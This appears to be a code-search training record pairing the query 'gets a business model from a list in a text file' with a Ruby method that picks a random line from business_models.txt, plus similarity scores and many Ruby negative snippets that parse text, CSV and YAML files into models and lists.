"0.55120814",
"0.53398526",
"0.5279201",
"0.52735335",
"0.52666813",
"0.52592844",
"0.52514553",
"0.52434874",
"0.51947075",
"0.516467",
"0.5110767",
"0.5105512",
"0.50975233",
"0.50879365",
"0.5086082",
"0.50765514",
"0.5058335",
"0.50501716",
"0.50430745",
"0.50413615",
"0.50383943",
"0.5019041",
"0.50179666",
"0.5016735",
"0.5010353",
"0.50049084",
"0.5002212",
"0.499772",
"0.49905774",
"0.4989983",
"0.49808267",
"0.49806264",
"0.49788484",
"0.49767256",
"0.49760762",
"0.49656826",
"0.49548692",
"0.49548617",
"0.49466336",
"0.49363077",
"0.49341995",
"0.49315658",
"0.4919579",
"0.4918386",
"0.4880762",
"0.48778906",
"0.48762882",
"0.48743278",
"0.48726037",
"0.48693696",
"0.48682484",
"0.4866807",
"0.48609173",
"0.4859111",
"0.48404232",
"0.4835431",
"0.48289263",
"0.48280868",
"0.4823431",
"0.48207936",
"0.4815406",
"0.48149797",
"0.4813549",
"0.4812333",
"0.48099333",
"0.4808848",
"0.48088014",
"0.48055273",
"0.48007363",
"0.48001334",
"0.48001334",
"0.47981644",
"0.4794587",
"0.47923806",
"0.47849807",
"0.4780217",
"0.47752935",
"0.47655514",
"0.47624624",
"0.475976",
"0.47570574",
"0.4753442",
"0.47506306",
"0.47498038",
"0.4742348",
"0.47377172",
"0.47376338",
"0.47363436",
"0.4736229",
"0.4733342",
"0.4733032",
"0.47299752",
"0.47287536"
] | 0.7069886 | 0 |
This gets a business model from a list in a text file | def get_business_model
#initialize variable
chosen_line = nil
#Get the cliche
File.foreach("business_models.txt").each_with_index do |line, number|
chosen_line = line if rand < 1.0/(number+1)
end
return chosen_line.chomp
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_from_file(filename = \"listsave\")\n\t\tIO.readlines(filename).each do |line|\n\t\t\tadd_task(Task.new(line.chomp))\n\t\tend\n\tend",
"def read_models\n File.readlines(\"car-models.txt\").each do |line|\n @modles_hash[line[0,1]] = line.partition('=').last.chomp\n end\n # puts \"@modles_hash: #{@modles_hash.inspect}\"\n # return @modles_hash\n end",
"def read_file(master_list, fileName, sepRegex, reorder)\n\tFile.foreach(\"codetest_files/input_files/\"+fileName) do |x|\n\t\tnewS = x.gsub(/\\n/, \"\").split(sepRegex)\n\t\tnewO = {\n\t\t\t\"LastName\": newS[0],\n\t\t\t\"FirstName\": newS[1],\n\t\t\t\"Gender\": newS[reorder[0]][0] == \"M\" ? \"Male\" : \"Female\",\n\t\t\t\"DOB\": newS[reorder[1]].gsub(/-/, \"/\"),\n\t\t\t\"FavoriteColor\": newS[reorder[2]]\n\t\t}\n\t\t# pushing object into master array\n\t\tmaster_list << newO\n\tend\n\tmaster_list\nend",
"def get_model_class(file); end",
"def read_collection\n @@book_class = []\n lines = File.readlines('collection.txt')\n lines.each do| line |\n line_parts = line.split('/')\n @id = id+1\n title = line_parts[0].chomp\n author = line_parts[1].chomp\n @due_date = due_date = nil.to_i\n @@book_class << Book.new(id, title, author, due_date) #class implementation\n end\n end",
"def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end",
"def create_list\n car_set = @car_make\n File.open(@file).each do |word|\n car_set.add(word.to_s.strip)\n end\n end",
"def get_loaded_model(model_path, file); end",
"def file_2_list(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\tlist=Array.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tlist.push(line.chomp.strip)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn list\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def load_db\n basic_foods = {} # store BasicFood objects\n recipes = {} # store Recipe objects\n File.readlines('FoodDB.txt').each do |line|\n line = line.chomp.split(\",\")\n if line[1] == \"b\"\n basic_food = BasicFood.new(line[0], line[2])\n basic_foods[basic_food.name] = basic_food\n elsif line[1] == \"r\"\n recipe = Recipe.new(line[0], line[2..line.size])\n recipes[recipe.name] = recipe\n end\n end\n [basic_foods, recipes]\n end",
"def rehydrate_model_from(filename)\n log(\"Reading saved #{method2str} model from #{filename}.\")\n File.open(filename, \"r\") do |file|\n @model = JSON.parse(file.read)\n end \n end",
"def read_aperm\n @@book_class = []\n lines = File.readlines('aperm.txt')\n lines.each do| line |\n line_parts = line.split('/')\n @id = line_parts[0].to_i\n title = line_parts[1]\n author = line_parts[2]\n @due_date = line_parts[3].to_i\n @@book_class << Book.new(id, title, author, due_date) #class implementation\n end #do\n # print_all\n end",
"def parse\r\n raise \"directory #{@config[:model_dir]} not exists\" unless File.directory? @config[:model_dir]\r\n Dir[\"#{@config[:model_dir]}/*.rb\"].each do |file|\r\n crt_model = Model.new\r\n model_attrs_ = Hash.new\r\n in_public = true\r\n File.open(file, 'r:utf-8').each do |line|\r\n line.chomp!\r\n\r\n # erd_tag and attr\r\n if /^[\\#\\s]*erd_tag\\:?\\s*(?<tag_>[\\w\\.]+)/ =~ line\r\n crt_model.tag = tag_ \r\n crt_model.attrs = @config[:tags][tag_]\r\n end\r\n\r\n # catch class definition\r\n if /^\\s*class\\s+(?<name_>\\w+)/ =~ line\r\n crt_model.name = name_.underscore \r\n self.parse_erd crt_model, line\r\n if /^\\s*class\\s+\\w+\\s+\\<\\s+(?<parent_>\\w+)/ =~ line\r\n crt_model.parent = parent_.underscore if parent_\r\n end\r\n end\r\n \r\n # catch functions\r\n in_public = true if /public\\:/ =~ line\r\n in_public = false if /private\\:/ =~ line\r\n\r\n if /^\\s*def\\s+(?<func_>[^#]+)\\s*/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = func_, 'function'\r\n self.parse_erd field_, line # parse erd attr and label\r\n # arbitrage link\r\n if /\\-\\>\\s*(?<name_>\\w+)(\\{(?<attrs_>.+)\\})?/ =~ line\r\n attrs = {}\r\n attrs = YAML.load(attrs_) if attrs_\r\n field_.edge = [name_, '', attrs]\r\n end\r\n crt_model.fields << field_ \r\n end\r\n\r\n # catch field\r\n if /^\\s*field\\s+\\:(?<name_>\\w+)\\s*\\,.*\\:?type\\:?\\s*(?<type_>[A-Za-z_0-9\\:]+)/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = name_, type_\r\n self.parse_erd field_, line # parse erd attr and label\r\n # arbitrage link\r\n if /\\-\\>\\s*(?<name_>\\w+)(\\{(?<attrs_>.+)\\})?/ =~ line\r\n attrs = {}\r\n attrs = YAML.load(attrs_) if attrs_\r\n field_.edge = [name_, '', attrs]\r\n end\r\n crt_model.fields << field_ \r\n end\r\n\r\n # catch relations\r\n if /^\\s*(?<rel_>embeds_many|embeds_one|has_many|has_one|belongs_to|embedded_in)\\s+\\:(?<name_>\\w+)\\s*(\\,.*\\:?as\\:?\\s*(?<as_>\\w+))?/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = rel_, name_\r\n field_.name = \"#{rel_} (as #{as_})\" if as_\r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n #if %w[belongs_to embedded_in embeds_one has_one].include? rel_\r\n field_.edge = [name_, '', {label: rel_, arrowhead: 'normal'}]\r\n #end\r\n end\r\n \r\n # common extension field\r\n if /^\\s*symbolize\\s+\\:(?<name>\\w+)\\s*\\,.*\\:?in\\:?.*(?<in_>\\[.+\\])/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = name_, \"symbolized in #{in_}\"\r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n end\r\n\r\n if /^\\s*state_machine\\s+\\:(?<state_>\\w+)/ =~ line\r\n field_ = Fields.new\r\n field_.name = state_ == \"initial\" ? \"state\" : state_\r\n field_.type = \"state_machine\"\r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n end\r\n\r\n if /\\s*as_enum\\s+\\:(?<name_>\\w+)\\s*\\,\\s*(?<enum_>[^#]+)/ =~ line\r\n field_ = Fields.new\r\n field_.name = name_\r\n field_.type = \"[ENUM] \" + enum_ \r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n end\r\n\r\n end # open and parse one file\r\n\r\n # assign attributes at the last moment\r\n crt_model.attrs.merge! model_attrs_\r\n\r\n # if config.include/tag, default to exclude_it = true\r\n if @config[:include].size > 0 or @config[:tag].size > 0\r\n include_it = false\r\n else\r\n include_it = true\r\n end\r\n\r\n # if in the include list, include it\r\n include_it = true if @config[:include] and @config[:include].include? crt_model.name\r\n @config[:tag].each do |t|\r\n include_it = true if t == crt_model.tag or /^#{t}(\\..+)?/.match(crt_model.tag)\r\n end\r\n\r\n include_it = false if @config[:exclude].include? crt_model.name\r\n @models[crt_model.name] = crt_model if include_it\r\n end # open directory\r\n self\r\n end",
"def parse_file\n File.open(\"FoodDB.txt\", \"r\") do |f|\n f.each_line do |line|\n line.chomp!\n command = line.split(\",\")\n name = command[0]\n type = command[1]\n info = command[2]\n #switches on type\n case type\n when \"b\"\n addFood(name, info)\n when \"r\"\n length = command.length-1\n ingredients = command[2..length]\n addRecipe(name,ingredients)\n end\n end\n end\n end",
"def load_hpo_file(file)\n\tstorage = []\n\tid = nil\n\tname = nil\n\talt_id = []\n\tsyn = []\n\tis_a = []\n\tFile.open(file).each do |line|\n\t\tline.chomp!\n\t\ttag, info = line.split(': ')\n\t\tif tag == 'id' || tag == 'name' || tag == 'is_a' || tag == 'synonym' || tag == 'alt_id'\n\t\t\tif tag == 'id'\n\t\t\t\tstorage << [id, alt_id.join('|'), name, syn.join('|')].concat(is_a) if !name.nil? #if !temp[1].include?(\"obsolete\") \n\t\t\t\tid = info\n\t\t\t\tname = nil\n\t\t\t\talt_id = []\n\t\t\t\tsyn = []\n\t\t\t\tis_a = []\n\t\t\tend\n\t\t\tif tag == 'alt_id'\n\t\t\t\talt_id << info\n\t\t\telsif tag == 'is_a'\n\t\t\t\tis_a.concat(info.split(' ! '))\n\t\t\telsif tag == 'synonym'\n\t\t\t\tsyn << info.split('\"')[1]\n\t\t\telse\n\t\t\t\tname = info\n\t\t\tend\n\t\tend\n\tend\n\tstorage << [id, alt_id.join('|'), name, syn.join('|')].concat(is_a)\n\treturn storage\nend",
"def load_model(model_class)\n begin\n file_content = File.read(model_class.db_filename)\n json_data = JSON.parse(file_content)\n rescue Errno::ENOENT\n # The file does not exists\n json_data = []\n end\n json_data.each do |data_hash|\n new_object = model_class.from_hash(data_hash)\n new_object.save\n end\nend",
"def load_model(model_class)\n begin\n file_content = File.read(model_class.db_filename)\n json_data = JSON.parse(file_content)\n rescue Errno::ENOENT\n # The file does not exists\n json_data = []\n end\n json_data.each do |data_hash|\n new_object = model_class.from_hash(data_hash)\n new_object.save\n end\nend",
"def _parse_file_using_import(file, layout, model)\n attributes = {}\n count = 0\n value_sets = []\n column_names = model.columns.map{ |column| column.name }\n not_nces_fields = column_names.select { |name| name[/id/] }\n field_names = column_names - not_nces_fields\n options = { :validate => false }\n mstate_index = field_names.index(\"MSTATE\")\n while (line = file.gets) do\n next if line.strip == ''\n values = []\n layout.each do |label, start_pos, end_pos, length, data_type, description|\n data_str = line[(start_pos-1)..(end_pos-1)].strip.gsub(/[^[:print:]]/, '')\n data_value = case data_type\n when 'N'\n data_str.to_i\n when 'D'\n data_str.to_f\n else\n data_str\n end\n values << data_value\n end\n if @states_and_provinces\n if @states_and_provinces.include?(values[mstate_index])\n value_sets << values\n end\n else\n value_sets << values\n end\n if value_sets.length >= 10\n records = model.import(field_names, value_sets, options)\n value_sets = values = []\n end\n count += 1\n if count % 500 == 0\n print '.'\n STDOUT.flush\n end\n end\n if value_sets.length > 0\n model.import(field_names, value_sets, options)\n end\n puts \"\\n#{count} records processed from #{file.path}\"\n end",
"def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend",
"def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend",
"def find_mos_models description\n models = {}\n description.downcase.each_line{|l|\n if l =~ /(^ *)([m]\\S*) (\\([^\\)]*\\)) +(\\S+) +(.*)$/\n parms, = parse_parameters $5\n models[$4] ||= []\n models[$4] << {'l'=> parm_eval(parms['l']),\n 'w'=> parm_eval2(parms['w'], parms[NUMBER_OF_FINGERS])}\n end\n }\n models.each_value{|v| v.uniq!}\n end",
"def update_model(wbs)\n f = File.new(\"#{wbs.railsbase}/app/models/#{singular_name}.rb\",'r+')\n fa = f.readlines\n new_array = prepare_model_changes(fa, wbs)\n f.rewind\n new_array.each {|line| f.puts(line)}\n end",
"def load_model file\n self.clear_model\n\n xml_file = File.new file\n doc = Document.new xml_file\n\n doc.elements.each(\"model/entities/entity\") do |element|\n\n id = element.elements[1].text.to_i\n name = element.elements[2].text\n type = element.elements[3].text\n definition = element.elements[4].text\n x = element.elements[5].text.to_i\n y = element.elements[6].text.to_i\n\n if id.to_i > @max_id\n @max_id = id.to_i\n end\n\n ent = self.add_entity name, type, definition, x, y\n ent.id = id\n end\n\n doc.elements.each(\"model/connections/connection\") do |element|\n name = element.elements[1].text\n definition = element.elements[2].text\n source_entity_id = element.elements[3].text.to_i\n target_entity_id = element.elements[4].text.to_i\n source_point_type = element.elements[5].text\n target_point_type = element.elements[6].text\n source_point_x = element.elements[7].text.to_i\n source_point_y = element.elements[8].text.to_i\n target_point_x = element.elements[9].text.to_i\n target_point_y = element.elements[10].text.to_i\n label_x = element.elements[11].text.to_i\n label_y = element.elements[12].text.to_i\n\n source_entity = self.get_entity source_entity_id\n target_entity = self.get_entity target_entity_id\n source_point = Point2D::Double.new source_point_x, source_point_y\n target_point = Point2D::Double.new target_point_x, target_point_y\n\n con = self.add_connection_specific_endpoints source_entity,\n target_entity,\n source_point,\n target_point,\n source_point_type,\n target_point_type,\n name,\n definition\n\n con.label.set_location label_x, label_y\n end\n @panel.repaint\n end",
"def get_model(basic_data)\n [ content(basic_data, './model'),\n content(basic_data, './trim')\n ].join(' ').strip\n end",
"def import_ori(file_path)\n string = IO.read(file_path)\n array = string.split(\"\\n\")\n array.shift\n return array\n end",
"def import(libfile, lib)\r\n\t#open the text file containing the booklist from the library\r\n\tf = File.open(libfile)\r\n\t#parse the incoming lines into arrays of data\r\n\twhile line = f.gets do\r\n\t\tparsed_line = line.split('*')\r\n\t\tadd_book(parsed_line, lib)\r\n\tend\r\n\tf.close\r\nend",
"def parse\n # TODO: Try to convert lsynth parts, maybe flag parts that are troublesome for manual editing,\n # look up to see if I've stored a conversion from ldraw ID to Bricklink ID,\n # convert Ldraw color IDs to BL color IDs, etc.\n parts = {}\n temp_parts = []\n\n @lines.each_with_index do |line, i|\n # This will stop getting parts for the base model once a submodel is reached\n break if line.match(/0 FILE/) && i > 15\n\n @submodels << line.match(/\\w+\\.ldr/).to_s.downcase if line.match(/^1/) && line.match(/\\.ldr$/)\n @lsynthed_parts << line.gsub('0 SYNTH BEGIN', '').split if line =~ /^0 SYNTH BEGIN/\n next unless line.match(/^1/) && line.match(/.dat$/)\n\n part = line.match(/\\w+\\.dat/).to_s.gsub!('.dat', '')\n next if lsynth_part?(part)\n\n color = line.match(/^1\\s\\d+/).to_s.gsub!('1 ', '')\n bl_part = get_bl_part_number(part)\n temp_parts << [bl_part, color, part]\n end\n\n # Now go through all submodels to determine the parts belonging to the submodels\n temp_parts = handle_submodels(temp_parts)\n\n # Not yet functional\n # handle_lsynthed_parts(temp_parts)\n\n temp_parts.each do |info|\n if parts.key?(\"#{info[0]}_#{info[1]}\")\n parts[\"#{info[0]}_#{info[1]}\"]['quantity'] += 1\n else\n parts[\"#{info[0]}_#{info[1]}\"] = {}\n parts[\"#{info[0]}_#{info[1]}\"]['quantity'] = 1\n parts[\"#{info[0]}_#{info[1]}\"]['ldraw_part_num'] = info[2]\n end\n end\n\n parts\n end",
"def parse_file(f)\n\tentities = []\n\twhile (e = parse_entity(f))\n\t\tentities.push(e)\n\tend\n\treturn entities\nend",
"def readfile\n features=[]\n feature=''\n data_range=''\n price=''\n \n File.open(\"./public/test.txt\", \"r\").each_line do |line|\n feature = line.scan(/([a-zA-z ]+ \\– [0-9]+)/).to_s.strip()\n date_range= line.scan(/([0-9\\/]+ \\– [0-9]+\\/[0-9]+)/).to_s\n price = line.scan(/( [0-9]+\\.[0-9]+)/).to_s.strip()\n this_feature={\n \"feature\" => feature,\n \"date_range\" => date_range,\n \"price\" => price\n \n }\n features << this_feature\n \n \n end\n\n return features\n end",
"def load_models\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_models\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n models = []\n array = json['models']\n array.each do |item|\n model = Dynamicloud::API::Model::RecordModel.new item['id'].to_i\n model.name = item['name']\n model.description = item['description']\n\n models.push model\n end\n\n models\n end",
"def standard_parser(file)\n resource_path = 'db/mappings/seed'\n CSV.foreach(Rails.root.join(resource_path, file)) do |result|\n standard = Standard.find_or_create_by(name: result[0], abbreviation: result[1])\n end\nend",
"def GenerateListFromFile(fileName)\n\tf = File.open(fileName, \"r\")\n\titems = []\n\t\n\tf.each_line do |item|\n\t\titems.push(item.strip)\n\tend\n\t\n\treturn items\nend",
"def import\n\n output = ''\n\n country_src = 'tmp/Countries.txt'\n \n rs = File.open(country_src)\n rs.gets # <-- remove first line (columns header) \"CountryID:Title\"\n countries = {}\n City.delete_all\n Region.delete_all\n Country.delete_all\n\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n countries[row[0]] = {:name => row[1], :regions => {}, :model => nil}\n c = Country.new\n c.iso = row[0]\n c.name = row[1]\n c.save\n countries[row[0]][:model] = c\n end\n\n regions_src = 'tmp/Regions.txt'\n \n rs = File.open(regions_src)\n rs.gets # <-- remove the 1st line (header row) #CountryID:RegionID:Title\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n c = countries[row[0]][:model]\n r = Region.new\n r.iso = row[1]\n r.country_id = c.id\n\n # magic trick to ignore UTF-8 chars for now.\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n r.name = ic.iconv(row[2] + ' ')[0..-2]\n r.save\n countries[row[0]][:regions][row[1]] = r\n\n end\n\n cities_src = 'tmp/Cities.txt'\n \n rs = File.open(cities_src)\n rs.gets # <-- remove 1st row (header) #CountryID:RegionID:Title:Latitude:Longitude\n while(row = rs.gets)\n row = row.split(':')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n row[3].gsub!(/\\n/, '')\n row[4].gsub!(/\\n/, '')\n \n r = countries[row[0]][:regions][row[1]]\n if (!r.nil?) \n c = City.new\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n c.name = ic.iconv(row[2] + ' ')[0..-2] \n c.region_id = r.id\n c.lat = row[3]\n c.lng = row[4]\n c.save\n end\n end\n\n output += '<h1>Import complete</h1>'\n render(:text => output, :layout => false)\n end",
"def read_from_file(filename) # Input existing file\n IO.readlines(filename).each do |line|\n status, *description = line.split(':')\n status = status.upcase.include?('X')\n add(Task.new(description.join(':').strip, status))\n puts line\n end # End of input, output\n end",
"def parse_translation_file(pattern, model)\n # check if all languages have an associated column name\n Florensia::Language.all.map(&:name).each do |l|\n next if model.columns.map(&:name).include?(l)\n error \"Fatal error: '#{l}' not found in column names of {model.name} but within Florensia::Language\"\n raise \"Translation/Description Language Error\"\n end\n\n batch(Dir[pattern]) do |f|\n data = open(f).read # reading file\n data.encode!('utf-8', 'utf-16') # fix encoding\n data = data.split(\"\\r\\n\") # split into lines\n data.pop # delete __END\n\n # working on header/languages\n header = data.shift.downcase.split(\"\\t\")\n header.shift # 'Code' an identifier, not a language\n #check if we have all languages in our system\n header.delete(\"name\") # that's not a language but is included in Descriptions\n header.each do |l|\n next if model.columns.map(&:name).include?(l)\n error \"Fatal error: '#{l}' not found in column names of #{model.name}\"\n raise \"Translation/Description Language Error\"\n end\n\n # working on the datasets itself\n data.each do |line|\n line = line.split(\"\\t\")\n code = line.shift #first column is the identifier\n line.shift if model == Florensia::Description #second column is unused 'name' in description files\n line.collect!{|text| text.gsub('\\n', \"\\n\")} #fix line breaks\n t = model.where(code: code).first_or_initialize\n t.update_attributes(Hash[header.zip(line)])\n end\n end\n end",
"def readToList( filename )\n\treader = CSV::parse(File.open(filename) {|f| f.read} )\n\treturn reader\nend",
"def get_items_from_file()\n if(File.exists?(@filename) && !File.empty?(@filename))\n file = File.read(@filename)\n JSON.parse(file).each do |item|\n movie = Movie.new\n item.each { |key, value| movie.send(\"#{key}=\", value)}\n @items.push(movie)\n end\n end\n end",
"def load_file(f)\n\t\tdata = []\n f.each do |line| \n user_id, movie_id, rating, timestamp = line.split(\"\\t\")\n data.push({\"user_id\"=> user_id.to_i, \"movie_id\"=>movie_id.to_i,\"rating\"=> rating.to_i,\"timestamp\"=>timestamp.to_i})\n\t\tend\n\t\treturn data\n\tend",
"def readFromDB\n File.open('db.txt', 'r+') do |file|\n file.readlines\n end\nend",
"def read_from_file(filename)\n\t\tIO.readlines(filename).each{ |line|\n\t\t\t*description, status = line.split(':')\n\t\t\tstatus = status.include?('X')\n\t\t\tadd(Task.new(description.join(':').strip, status))\n\t\t}\n\tend",
"def readShapesFromFile(filename)\n\nss = Shapeset.new\ninputFile = File.new(filename, \"r\")\n\nfor line in inputFile\n if line.split(/, */)[0].strip == 'circle'\n ss.addShape(Circle.new(line.split(/, */)[1].strip))\n elsif line.split(/, */)[0].strip == 'square'\n ss.addShape(Square.new(line.split(/, */)[1].strip))\n else\n ss.addShape(Triangle.new(line.split(/, */)[1].strip,line.split(/, */)[2].strip))\n end \nend\n\nreturn ss\n\nend",
"def parse_list list_path\n list = Hash.new\n #If the file doesn't exist, don't bother right now.\n if !File.exist? list_path\n return list\n end\n\n file = File.new list_path\n file.readlines.each do\n |app|\n bin, uses = app.split /\\s+/\n list[bin] = uses.to_i\n end\n file.close\n\n return list\nend",
"def load_workouts(file)\n workout_num = 0\n exercise_num = 0\n workout_list = []\n \n File.foreach(file) { |line| \n if line =~ /^Start Time: (\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}).[0-9]* +|-\\d*$/ then\n workout_num += 1\n exercise_num = -1\n workout_list << Workout.new.start_time=($1)\n elsif line =~ /^\\s*Exercise name: (\\w*\\D+\\s*\\w*) Exercise Type: (\\w+)$/ then\n exercise_num += 1\n exercise = Exercise.new()\n exercise.exercise_name = $1\n exercise.exercise_type = $2\n workout_list[workout_num] << exercise\n end\n }\n \n workout_list #return created workoutlist \n end",
"def read_families (filename)\n file = File.open(filename)\n file.readline # header row\n people = {}\n file.readlines.each do |line|\n vals = line.strip.split(/\\s+/) # strip removes leading and ending white space\n person = Person.new(*vals) # *vals makes vals elements separate arguments\n people[person.famid] = person\n end\n people\nend",
"def fetch_produce_items\r\n all_items = read_table('SRCFILE')\r\n included_ids = File.readlines(File.join('data', 'included.txt')).map(&:chomp)\r\n\r\n @items = all_items.select do |i|\r\n included_ids.include?(i.id)\r\n end\r\nend",
"def fromFile( filename ) \n lines = IO.readlines( filename )\n loadAll( lines )\n end",
"def list\n @list ||= PublicSuffix::List::parse(File.new(list_path, \"r:utf-8\"))\n end",
"def readList # read the list file and return an array\n array_list = []\n i = 0\n File.open(\"list.txt\").readlines.each do |line|\n array_list[i] = line\n i += 1\n end\n array_list\nend",
"def list_repositories(file)\n repository_text = file.read\n int, varchar, function = self.int, self.varchar, self.function\n fields = [int, varchar, varchar, function, function]\n record_re = /#{'\\\\((' + fields.join( '),(' ) + ')\\\\)'}/\n results = []\n repository_text.scan(record_re) do |id_match, abbreviation_match, short_description_match, created_at_match, updated_at_match|\n id = Integer(id_match)\n abbreviation = abbreviation_match[1..-2]\n short_description = short_description_match[1..-2]\n created_at = created_at_match\n updated_at = updated_at_match\n #puts id_match, abbreviation_match, short_description_match, created_at_match, updated_at_match\n results << [id, abbreviation, short_description, created_at, updated_at]\n end\n results\n end",
"def parse_list; end",
"def parse_list; end",
"def build_cls_list(file_name, arr)\n file = File.open(file_name, \"r\")\n while !file.eof?\n line = file.readline.chomp\n arr.push(line)\n end\n file.close\nend",
"def create_dict(file)\n # Since wordlist is constant\n if File.file?(file)\n IO.readlines(file, chomp: true)\n else\n puts 'File not found!'\n end\n end",
"def load_list filename\n\tlist = []\n\tbegin\n\t\topen filename do |f|\n\t\t\tuntil (line = f.gets).nil?\n\t\t\t\tnext if line.strip.empty?\n\t\t\t\tlist << line.strip\n\t\t\tend\n\t\tend\n\trescue Errno::ENOENT\n\tend\n\tlist\nend",
"def loadStructure(file)\n csv_text = File.read(file)\n return CSV.parse(csv_text, :headers => true)\n \nend",
"def read_data(file_name)\n file = File.open(file_name,\"r\")\n object = eval(file.gets)\n file.close()\n return object\nend",
"def load_file(f)\n @list_link = []\n YAML.load_file(f).each { |e|\n link = Link.new e[0], e[1]\n link.exclude = e[2] if e.size > 2\n @list_link << link\n }\n check_possibility\n @list_link_copy = Array.new @list_link\n end",
"def get_model_files(options); end",
"def get_publishers\n File.readlines('publishers.data').each do |line|\n line = line.chomp\n Publisher.create(name: line)\n end\nend",
"def get_publishers\n File.readlines('publishers.data').each do |line|\n line = line.chomp\n Publisher.create(name: line)\n end\nend",
"def load_notetags_recipelist_bubs_tocrafting(line)\n return unless line =~ Bubs::Regexp::RECIPEBOOK_OBJ_TAG ? true : false\n match = $~.clone\n id_array = match[2].scan(/\\d+/)\n \n case match[1].upcase\n when \"I\", \"ITEM\", \"OGGETTO\"\n for id in id_array\n @recipe_list.push( $data_items[id.to_i] )\n end\n \n when \"W\", \"WEAPON\", \"WEP\", \"ARMA\"\n for id in id_array\n @recipe_list.push( $data_weapons[id.to_i] )\n end\n \n when \"A\", \"ARMOR\", \"ARMOUR\", \"ARM\", \"ARMATURA\"\n for id in id_array\n @recipe_list.push( $data_armors[id.to_i] )\n end # for\n \n end # case\n end",
"def read(file)\n i = 1\n File.foreach(file) do |line|\n row = line.strip.split(/\\s+/)\n raise Price::Error::InvalidLine, \"Line #{i} is invalid '#{line}'\" if row[0].nil? || row[1].nil? || row[2].nil?\n @items << PackItem.new(row[0], row[1].to_i, row[2].to_f.round(2))\n i += 1\n end\n end",
"def load_model(file)\n require_dependency(file)\n end",
"def recordize line\n vals = line.split(\"\\t\")\n [@model_klass.from_tuple(*vals)]\n end",
"def inputlisttest\n puts \"============== \\n\"\n puts \"Results:\"\n\n File.open('assetlist.txt') do |searchlist|\n searchlist.each_line do |searchquery|\n\n puts \"Asset: \" + searchquery\n assetname = searchquery.downcase.chomp\n\n Dir.foreach('./jsons/') do |item|\n next if item == '.' or item == '..'\n\n #it doesn't appear to treat 'item' as a file object it is a just a string of the filename..\n obj = JSON.parse(File.read('./jsons/' + item))\n description = obj[0][\"_source\"][\"description\"]\n\n if description.downcase.include? assetname\n puts item\n puts obj[0][\"_source\"][\"title\"]\n puts \"\\n\"\n end\n\n end\n end\n end\n\n puts \"=============\"\n\n end",
"def index(file) \n\n file = File.open(file, \"r\")\n tasks = file.readlines\n file.close\n\n return tasks\n\nend",
"def parse filename\n doc = Document.new(File.new(filename))\n elements = doc.elements\n # Let each entity definition do it's own lower level parsing\n self.entities.each do |e|\n @instances[e.name] = e.parse(self, elements)\n end\n # Let each relationship definition do it's own lower level parsing\n self.relationships.each do |r|\n r.parse(self, @instances)\n end\n end",
"def load\n @models = []\n\n # \n files = \n if File.directory?(config_path) \n files_in_dir = []\n Dir[config_path + \"/*.yml\"].each do |file|\n files_in_dir << file\n end\n files_in_dir\n elsif File.file?(config_path)\n [config_path]\n else\n nil\n end\n\n return nil if files.nil?\n\n # \n @models = files.inject(@models) do |models, file|\n begin\n yaml = YAML.load_file(file)\n rescue => ex\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n if yaml.nil?\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n models + yaml2models(yaml)\n end.extend(ArrayMethods)\n end",
"def read_file(path)\n struct=Struct.new(:u_id, :m_id,:rating,:time)\n puts path\n return [] if !File.exists? path\n File.open(path, \"r\") do |f|\n #splits each line by ws and convert to integer and build structures from values\n return f.each_line.map { |line| struct.new(*line.split.map {|x| x.to_i}) }\n end\n end",
